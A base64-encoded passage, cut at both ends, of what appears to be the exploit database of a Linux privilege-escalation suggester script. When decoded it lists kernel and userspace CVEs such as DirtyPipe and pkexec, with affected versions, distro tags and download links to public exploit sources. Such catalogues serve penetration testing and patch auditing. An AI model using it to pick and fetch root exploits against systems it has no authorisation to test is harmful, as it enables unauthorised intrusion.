9taWNfZnJlZV9vcCBOVUxMIHBvaW50ZXIgZGVyZWZlcmVuY2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuMTMsY21kOmdyZXAgLXFpIHJkcyAvcHJvYy9tb2R1bGVzLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wfDQuOC4wfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vd2Jvd2xpbmcvOWQzMjQ5MmJkOTZkOWU3YzNiZjUyZTIzYTBhYzMwYTQvcmF3Lzk1OTMyNTgxOWM3ODI0OGE2NDM3MTAyYmIyODliYjg1NzhhMTM1Y2QvY3ZlLTIwMTgtNTMzMy1wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTgtNTMzMy9jdmUtMjAxOC01MzMzLmMKQ29tbWVudHM6IHJkcy5rbyBrZXJuZWwgbW9kdWxlIG5lZWRzIHRvIGJlIGxvYWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIHRhcmdldHMgYW5kIGJ5cGFzc2luZyBLQVNMUi4KYXV0aG9yOiB3Ym93bGluZyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xODk1NV0ke3R4dHJzdH0gc3VidWlkX3NoZWxsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjE1LHZlcjw9NC4xOS4yLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLGNtZDpbIC11IC91c3IvYmluL25ld3VpZG1hcCBdLGNtZDpbIC11IC91c3IvYmluL25ld2dpZG1hcCBdClRhZ3M6IHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLTIwLWdlbmVyaWN9LGZlZG9yYT0yOHtrZXJuZWw6NC4xNi4zLTMwMS5mYzI4fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE3MTIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NzEzMy56aXAKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEzMjcyL3BvYy5jCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhY3RpdmUgUG9sS2l0IGFnZW50LgpleHBsb2l0LWRiOiA0NzEzMwpleHBsb2l0LWRiOiA0NzE2MwphdXRob3I6IEphbm4gSG9ybiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xNTY2Nl0ke3R4dHJzdH0gWEZSTV9VQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMsdmVyPDUuMC4xOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSxDT05GSUdfWEZSTT15ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R1YXN5bnQuY29tL2Jsb2cvdWJ1bnR1LWNlbnRvcy1yZWRoYXQtcHJpdmVzYwpiaW4tdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZHVhc3ludC94ZnJtX3BvYy9yYXcvbWFzdGVyL2x1Y2t5MApDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZDsgQ09ORklHX1hGUk0gbmVlZHMgdG8gYmUgZW5hYmxlZAphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjczNjVdJHt0eHRyc3R9IGxpbnV4LWlzY3NpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD01LjExLjMsQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQhPXkKVGFnczogUkhFTD04ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuZ3JpbW0tY28uY29tLzIwMjEvMDMvbmV3LW9sZC1idWdzLWluLWxpbnV4LWtlcm5lbC5odG1sCnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ncmltbS1jby9Ob3RRdWl0ZTBEYXlGcmlkYXkvemlwL3RydW5rCkNvbW1lbnRzOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCBtdXN0IG5vdCBiZSBlbmFibGVkCmF1dGhvcjogR1JJTU0KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zNDkwXSR7dHh0cnN0fSBlQlBGIEFMVTMyIGJvdW5kcyB0cmFja2luZyBmb3IgYml0d2lzZSBvcHMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuNyx2ZXI8NS4xMixDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0oMjV8MjZ8Mjd8Mjh8Mjl8MzB8MzF8MzJ8MzN8MzR8MzV8MzZ8Mzd8Mzh8Mzl8NDB8NDF8NDJ8NDN8NDR8NDV8NDZ8NDd8NDh8NDl8NTB8NTF8NTIpLSp9LHVidW50dT0yMS4wNHtrZXJuZWw6NS4xMS4wLTE2LSp9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ncmFwbHNlY3VyaXR5LmNvbS9wb3N0L2tlcm5lbC1wd25pbmctd2l0aC1lYnBmLWEtbG92ZS1zdG9yeQpzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vY2hvbXBpZTEzMzcvTGludXhfTFBFX2VCUEZfQ1ZFLTIwMjEtMzQ5MC96aXAvbWFpbgpDb21tZW50czogQ09ORklHX0JQRl9TWVNDQUxMIG5lZWRzIHRvIGJlIHNldCAmJiBrZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCAhPSAxCmF1dGhvcjogY2hvbXBpZTEzMzcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yMjU1NV0ke3R4dHJzdH0gTmV0ZmlsdGVyIGhlYXAgb3V0LW9mLWJvdW5kcyB3cml0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE5LHZlcjw9NS4xMi1yYzYKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGUuZ2l0aHViLmlvL3NlY3VyaXR5LXJlc2VhcmNoL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvd3JpdGV1cC5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9nb29nbGUvc2VjdXJpdHktcmVzZWFyY2gvbWFzdGVyL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvZXhwbG9pdC5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAyMS0yMjU1NS9leHBsb2l0LmMKQ29tbWVudHM6IGlwX3RhYmxlcyBrZXJuZWwgbW9kdWxlIG11c3QgYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDUwMTM1CmF1dGhvcjogdGhlZmxvdyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0wODQ3XSR7dHh0cnN0fSBEaXJ0eVBpcGUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuOCx2ZXI8PTUuMTYuMTEKVGFnczogdWJ1bnR1PSgyMC4wNHwyMS4wNCksZGViaWFuPTExClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2RpcnR5cGlwZS5jbTRhbGwuY29tLwpzcmMtdXJsOiBodHRwczovL2hheHguaW4vZmlsZXMvZGlydHlwaXBlei5jCmV4cGxvaXQtZGI6IDUwODA4CmF1dGhvcjogYmxhc3R5IChvcmlnaW5hbCBleHBsb2l0IGF1dGhvcjogTWF4IEtlbGxlcm1hbm4pCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMjU4Nl0ke3R4dHJzdH0gbmZ0X29iamVjdCBVQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PSgyMC4wNCl7a2VybmVsOjUuMTIuMTN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNQpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNS8xCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkICh0byBvYnRhaW4gQ0FQX05FVF9BRE1JTikKYXV0aG9yOiB2dWxuZXJhYmlsaXR5IGRpc2NvdmVyeTogVGVhbSBPcmNhIG9mIFNlYSBTZWN1cml0eTsgRXhwbG9pdCBhdXRob3I6IEFsZWphbmRybyBHdWVycmVybwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTMyMjUwXSR7dHh0cnN0fSBuZnRfb2JqZWN0IFVBRiAoTkZUX01TR19ORVdTRVQpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPDUuMTguMSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDIyLjA0KXtrZXJuZWw6NS4xNS4wLTI3LWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3Jlc2VhcmNoLm5jY2dyb3VwLmNvbS8yMDIyLzA5LzAxL3NldHRsZXJzLW9mLW5ldGxpbmstZXhwbG9pdGluZy1hLWxpbWl0ZWQtdWFmLWluLW5mX3RhYmxlcy1jdmUtMjAyMi0zMjI1MC8KYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudGhlb3JpLmlvL3Jlc2VhcmNoL0NWRS0yMDIyLTMyMjUwLWxpbnV4LWtlcm5lbC1scGUtMjAyMi8Kc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3RoZW9yaS1pby9DVkUtMjAyMi0zMjI1MC1leHBsb2l0L21haW4vZXhwLmMKQ29tbWVudHM6IGtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPTEgcmVxdWlyZWQgKHRvIG9idGFpbiBDQVBfTkVUX0FETUlOKQphdXRob3I6IHZ1bG5lcmFiaWxpdHkgZGlzY292ZXJ5OiBFREcgVGVhbSBmcm9tIE5DQyBHcm91cDsgQXV0aG9yIG9mIHRoaXMgZXhwbG9pdDogdGhlb3JpLmlvCkVPRgopCgoKIyMjIyMjIyMjIyMjIFVTRVJTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTAxODZdJHt0eHRyc3R9IHNhbWJhClJlcXM6IHBrZz1zYW1iYSx2ZXI8PTIuMi44ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDIzNjc0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTExODVdJHt0eHRyc3R9IHVkZXYKUmVxczogcGtnPXVkZXYsdmVyPDE0MSxjbWQ6W1sgLWYgL2V0Yy91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIHx8IC1mIC9saWIvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyBdXQpUYWdzOiB1YnVudHU9OC4xMHw5LjA0ClJhbms6IDEKZXhwbG9pdC1kYjogODU3MgpDb21tZW50czogVmVyc2lvbjwxLjQuMSB2dWxuZXJhYmxlIGJ1dCBkaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkIApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2IDIKUmVxczogcGtnPXVkZXYsdmVyPDE0MQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDg0NzgKQ29tbWVudHM6IFNTSCBhY2Nlc3MgdG8gbm9uIHByaXZpbGVnZWQgdXNlciBpcyBuZWVkZWQuIFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0wODMyXSR7dHh0cnN0fSBQQU0gTU9URApSZXFzOiBwa2c9bGlicGFtLW1vZHVsZXMsdmVyPD0xLjEuMQpUYWdzOiB1YnVudHU9OS4xMHwxMC4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDE0MzM5CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQxNzBdJHt0eHRyc3R9IFN5c3RlbVRhcApSZXFzOiBwa2c9c3lzdGVtdGFwLHZlcjw9MS4zClRhZ3M6IFJIRUw9NXtzeXN0ZW10YXA6MS4xLTMuZWw1fSxmZWRvcmE9MTN7c3lzdGVtdGFwOjEuMi0xLmZjMTN9ClJhbms6IDEKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CmV4cGxvaXQtZGI6IDE1NjIwCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDExLTE0ODVdJHt0eHRyc3R9IHBrZXhlYwpSZXFzOiBwa2c9cG9sa2l0LHZlcj0wLjk2ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTAuMDR8MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNzk0MgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0yOTIxXSR7dHh0cnN0fSBrdHN1c3MKUmVxczogcGtnPWt0c3Vzcyx2ZXI8PTEuNApUYWdzOiBzcGFya3k9NXw2ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTEvMDgvMTMvMgpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxMS0yOTIxL2t0c3Vzcy1scGUuc2gKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTItMDgwOV0ke3R4dHJzdH0gZGVhdGhfc3RhciAoc3VkbykKUmVxczogcGtnPXN1ZG8sdmVyPj0xLjguMCx2ZXI8PTEuOC4zClRhZ3M6IGZlZG9yYT0xNiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUvMjAxMi9KYW4vYXR0LTU5MC9hZHZpc29yeV9zdWRvLnR4dApleHBsb2l0LWRiOiAxODQzNgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wNDc2XSR7dHh0cnN0fSBjaGtyb290a2l0ClJlcXM6IHBrZz1jaGtyb290a2l0LHZlcjwwLjUwClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTQvcTIvNDMwCmV4cGxvaXQtZGI6IDMzODk5CkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gdGhlIGNyb250YWIgKHVwIHRvIG9uZSBkYXkgb2YgZGVsYXkpCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUxMTldJHt0eHRyc3R9IF9fZ2NvbnZfdHJhbnNsaXRfZmluZApSZXFzOiBwa2c9Z2xpYmN8bGliYzYseDg2ClRhZ3M6IGRlYmlhbj02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vZ29vZ2xlcHJvamVjdHplcm8uYmxvZ3Nwb3QuY29tLzIwMTQvMDgvdGhlLXBvaXNvbmVkLW51bC1ieXRlLTIwMTQtZWRpdGlvbi5odG1sCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzM0NDIxLnRhci5negpleHBsb2l0LWRiOiAzNDQyMQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODYyXSR7dHh0cnN0fSBuZXdwaWQgKGFicnQpClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMzMTVdJHt0eHRyc3R9IHJhY2VhYnJ0ClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0xOXthYnJ0OjIuMS41LTEuZmMxOX0sZmVkb3JhPTIwe2FicnQ6Mi4yLjItMi5mYzIwfSxmZWRvcmE9MjF7YWJydDoyLjMuMC0zLmZjMjF9LFJIRUw9N3thYnJ0OjIuMS4xMS0xMi5lbDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi8xMzAKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YXZpc28vZmUzNTkwMDY4MzZkNmNkMTA5MWUvcmF3LzMyZmU4NDgxYzQzNGY4Y2FkNWJjZjg1Mjk3ODkyMzE2MjdlNTA3NGMvcmFjZWFicnQuYwpleHBsb2l0LWRiOiAzNjc0NwphdXRob3I6IFRhdmlzIE9ybWFuZHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMxOF0ke3R4dHJzdH0gbmV3cGlkIChhcHBvcnQpClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KSAyClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNC4yClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vb3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzA0LzE0LzQKZXhwbG9pdC1kYjogMzY3ODIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzIwMl0ke3R4dHJzdH0gZnVzZSAoZnVzZXJtb3VudCkKUmVxczogcGtnPWZ1c2UsdmVyPDIuOS4zClRhZ3M6IGRlYmlhbj03LjB8OC4wLHVidW50dT0qClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi81MjAKZXhwbG9pdC1kYjogMzcwODkKQ29tbWVudHM6IE5lZWRzIGNyb24gb3Igc3lzdGVtIGFkbWluIGludGVyYWN0aW9uCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTE4MTVdJHt0eHRyc3R9IHNldHJvdWJsZXNob290ClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdCx2ZXI8My4yLjIyClRhZ3M6IGZlZG9yYT0yMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDM2NTY0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyNDZdJHt0eHRyc3R9IHVzZXJoZWxwZXIKUmVxczogcGtnPWxpYnVzZXIsdmVyPD0wLjYwClRhZ3M6IFJIRUw9NntsaWJ1c2VyOjAuNTYuMTMtKDR8NSkuZWw2fSxSSEVMPTZ7bGlidXNlcjowLjYwLTUuZWw3fSxmZWRvcmE9MTN8MTl8MjB8MjF8MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNS8wNy8yMy9jdmUtMjAxNS0zMjQ1LWN2ZS0yMDE1LTMyNDYvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2LnR4dCAKZXhwbG9pdC1kYjogMzc3MDYKQ29tbWVudHM6IFJIRUwgNSBpcyBhbHNvIHZ1bG5lcmFibGUsIGJ1dCBpbnN0YWxsZWQgdmVyc2lvbiBvZiBnbGliYyAoMi41KSBsYWNrcyBmdW5jdGlvbnMgbmVlZGVkIGJ5IHJvb3RoZWxwZXIuYwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS01Mjg3XSR7dHh0cnN0fSBhYnJ0L3Nvc3JlcG9ydC1yaGVsNwpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzEyLzAxLzEKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzEyLzAxLzEvMQpleHBsb2l0LWRiOiAzODgzMgphdXRob3I6IHJlYmVsCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTY1NjVdJHt0eHRyc3R9IG5vdF9hbl9zc2hudWtlClJlcXM6IHBrZz1vcGVuc3NoLXNlcnZlcix2ZXI+PTYuOCx2ZXI8PTYuOQpUYWdzOgpSYW5rOiAxCmF